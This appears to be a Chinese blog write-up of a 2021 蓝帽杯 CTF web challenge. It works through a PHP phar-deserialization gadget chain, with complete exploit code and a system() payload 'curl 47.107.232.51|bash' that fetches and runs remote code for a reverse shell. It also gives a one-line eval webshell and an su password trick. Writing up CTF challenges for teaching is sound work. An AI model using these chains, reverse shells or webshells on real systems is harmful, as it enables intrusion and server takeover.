[蓝帽杯]2021 不一样的web

本文探讨了一段PHP代码中通过Phar文件和反序列化技巧,成功绕过错误提示,执行系统命令的过程,包括利用`system`函数进行shell反弹,并展示了如何构造payload和利用不同的攻击手段。作者还介绍了如何通过监听端口接收并执行恶意代码,最终获取flag的过程。
摘要由CSDN通过智能技术生成

前置知识:

来看这样一段代码:

<?php
Class Mode{
	function hello(){
		echo "hello,yes";
	}
}


$a=array(Mode,hello);
$a();

会得到什么回显呢?

尽管会警告,但是还是执行了结果,所以我们可以通过数组配合()来调用类中的方法

解题

进入页面:

上传文件+查询文件:phar警告

打开F12,发现有提示:

可以利用查询文件这里看一下有没有phar协议,先构造一下Phar序列化的包得到lib.php的源码

<?php
class Read{
    public $name;
    public function file_get()
    {
        $text = base64_encode(file_get_contents("lib.php"));
        echo $text;
    }

}
class Test{
    public $f;
    public function __construct($value){
        $this->f = $value;
    }

    public function __wakeup()
    {
		$func = $this->f;
        $func();
    }
}
$a = new Test(array(Read,file_get));

$phar = new Phar('phar.phar');
$phar->setStub('GIF89a'.'<?php __HALT_COMPILER();?>');
$phar->setMetadata($a);
$phar->addFromString('1.txt','dky'); // phar:[phar.phar][system_get_you_filename]/1.txt

访问该文件后生成的phar.phar改名为:phar.gif

上传后提示了路径,那么就用phar协议读取一下:

phar://4623e4e6/4b3cf1ffc9224f4d830c5a29db854d15/1b33718042e7dfe8fac079be96ebc4d9.gif/1.txt

得到回显,这里建议使用burp传包,比较明显:

解码后:

<?php
error_reporting(0);
class Modifier{
	public $old_id;
	public $new_id;
	public $p_id;
	public function __construct(){
		$this->old_id = "1";
		$this->new_id = "0";
		$this->p_id = "1";
	}
	public function __get($value){
		$new_id = $value;
		$this->old_id = random_bytes(16);
		if($this->old_id===$this->new_id){
			system($this->p_id);
		}
	}
}
class Read{
    public function file_get()
    {
        $text = base64_encode(file_get_contents("lib.php"));
        echo $text;
    }

}
class Files{
	public $filename;
	public function __construct($filename){
		$this->filename = $this->FilesWaf($filename);
	}
	public function __wakeup(){
		$this->FilesWaf($this->filename);
	}
	public function __toString(){
		return $this->filename;
	}
	public function __destruct(){
		echo "Your file is ".$this->FilesWaf($this->filename).".</br>";
		
	}
	public function FilesWaf($name){
		if(stristr($name, "/")!==False){
			return "index.php";
		}
		return $name;
	}
}
class Test{
    public $f;
    public function __construct($value){
        $this->f = $value;
    }

    public function __wakeup()
    {
		$func = $this->f;
        $func();
    }
}
class User{
	public $name;
	public $profile;
	public function __construct($name){
		$this->name = $this->UserWaf($name);
		$this->profile = "I am admin.";
	}
	public function __wakeup(){
		$this->UserWaf($this->name);
	}
	public function __toString(){
		return $this->profile->name;
	}
	public function __destruct(){
		echo "Hello ".$this->UserWaf($this->name).".</br>";
		
	}
	public function UserWaf($name){
		if(strlen($name)>10){
			return "admin";
		}
		if(!preg_match("/[a-f0-9]/iu",$name)){
			return "admin";
		}
		return $name;
	}
}

又是构造反序列化链了,很明显要利用system函数:很简单的链子我就直接上payload了

<?php
error_reporting(0);
class Modifier{
	public $old_id;
	public $new_id;
	public $p_id;
	public function __construct(){
		$this->old_id = "1";
		$this->new_id = &$this->old_id;
		$this->p_id = "curl 47.107.232.51|bash"; // 多种选择
	}
	public function __get($value){
		$new_id = $value;
		$this->old_id = random_bytes(16);
		if($this->old_id===$this->new_id){
			system($this->p_id);
		}
	}
}
class Files{
	public $filename;
	public function __construct($filename){
		$this->filename = $this->FilesWaf($filename);
	}
	public function __wakeup(){
		$this->FilesWaf($this->filename);
	}
	public function __toString(){
		return $this->filename;
	}
	public function __destruct(){
		echo "Your file is ".$this->FilesWaf($this->filename).".</br>";
		
	}
	public function FilesWaf($name){
		if(stristr($name, "/")!==False){
			return "index.php";
		}
		return $name;
	}
}
class Test{
    public $f;
    public function __construct($value){
        $this->f = $value;
    }

    public function __wakeup()
    {
		$func = $this->f;
        $func();
    }
}
class User{
	public $name;
	public $profile;
	public function __construct($name){
		$this->name = $this->UserWaf($name);
		$this->profile = "I am admin.";
	}
	public function __wakeup(){
		$this->UserWaf($this->name);
	}
	public function __toString(){
		return $this->profile->name;
	}
	public function __destruct(){
		echo "Hello ".$this->UserWaf($this->name).".</br>";
		
	}
	public function UserWaf($name){
		if(strlen($name)>10){
			return "admin";
		}
		if(!preg_match("/[a-f0-9]/iu",$name)){
			return "admin";
		}
		return $name;
	}
}
$a = new Files();
$a->filename=new User();
$a->filename->profile=new Modifier();

$phar = new Phar('shell.phar');
$phar->startBuffering();
$phar->setStub('<?php __HALT_COMPILER();?>');
$phar->addFromString('test.txt','test');
$phar->setMetadata($a);
$phar->stopBuffering();

那个system函数那里有几种选择,我说我已经知道的:

1.利用curl反弹shell

2.利用bash -i 反弹shelll(和1的原理差不多)

3.直接写马(echo "<?php eval($_POST[8]);?>">shell.php)

我这里直接用第一种了。

先公网启用一个监听端口:

同样使用phar协议打进去:

之后成功反弹shell:

接下来就是拿flag了,但是根目录没有flag,起初的思路是用命令:

find / -name "flag"来

发现一个/home/flag,但是权限不够,以为要提权

后来看了wp发现,是根目录还有一个game,可以拿到flag账户的登陆密码,使用flag账户来拿flag。由于直接cat game太乱,于是写一个shell连接一下蚁剑:

之后再登陆flag账户,拿flag

也可以不登录,用su的来执行账户命令

echo "90a3f46888b32b4b1b104208957be421" | su - flag -c 'ls /home/flag'

提示flag的名字为这个,直接cat f*解决:

  • 1
    点赞
  • 1
    收藏
    觉得还不错? 一键收藏
  • 0
    评论
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值